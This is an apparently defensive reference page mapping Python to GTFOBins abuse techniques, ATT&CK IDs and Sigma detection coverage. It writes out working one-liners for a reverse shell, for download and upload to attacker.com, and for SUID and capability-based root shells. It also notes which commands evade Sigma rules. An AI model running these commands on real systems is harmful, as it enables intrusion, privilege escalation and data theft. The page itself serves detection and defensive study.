Identifier / Programs / Linux and Unix
python
Python language interpreter. tldr-pages
GTFOBins download, file-read, file-write, library-load, reverse-shell, shell, upload 9 Sigma rules name it 5 ATT&CK techniques 8 documented commands
How python is abused
download T1105 Ingress Tool Transfer
-cfile-read
-cfile-write
-clibrary-load
-creverse-shell T1059.006 Command and Scripting Interpreter: Python
-cshell T1059.006 Command and Scripting Interpreter: Python
-cupload
-cEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for python.
8 documented commands
download unprivileged, with sudo, as SUID
python -c 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve("http://attacker.com/path/to/input-file", "/path/to/output-file")'Trips no Sigma process-creation rule.
file-read unprivileged, with sudo, as SUID
python -c 'print(open("/path/to/input-file").read())'Trips no Sigma process-creation rule.
file-write unprivileged, with sudo, as SUID
python -c 'open("/path/to/output-file","w+").write("DATA")'Trips no Sigma process-creation rule.
library-load unprivileged, with sudo, as SUID, with capabilities
python -c 'from ctypes import cdll; cdll.LoadLibrary("/path/to/lib.so")'Trips no Sigma process-creation rule.
reverse-shell unprivileged, with sudo, as SUID
python -c 'import sys,socket,os,pty;s=socket.socket()
s.connect(("attacker.com",12345))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")'Trips no Sigma process-creation rule.
shell unprivileged, with sudo, as SUID, with capabilities
python -c 'import os; os.execl("/bin/sh", "sh")'As SUID:
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'With capabilities:
python -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'Trips no Sigma process-creation rule.
upload unprivileged, with sudo, as SUID
python -c 'import sys
if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
else: import urllib as u, urllib2 as r
r.urlopen("http://attacker.com", open("/path/to/input-file", "rb").read())'Trips no Sigma process-creation rule.
upload unprivileged, with sudo, as SUID
python -c 'import sys
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", 12345), s.SimpleHTTPRequestHandler).serve_forever()'Trips 1 Sigma rule: mediumPython WebServer Execution - Linux by Mohamed LAKRI
1 of the 8 commands the identifier reads trips a Sigma process-creation rule; 7 trip none. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for python. The identifier reads the line of each that runs python.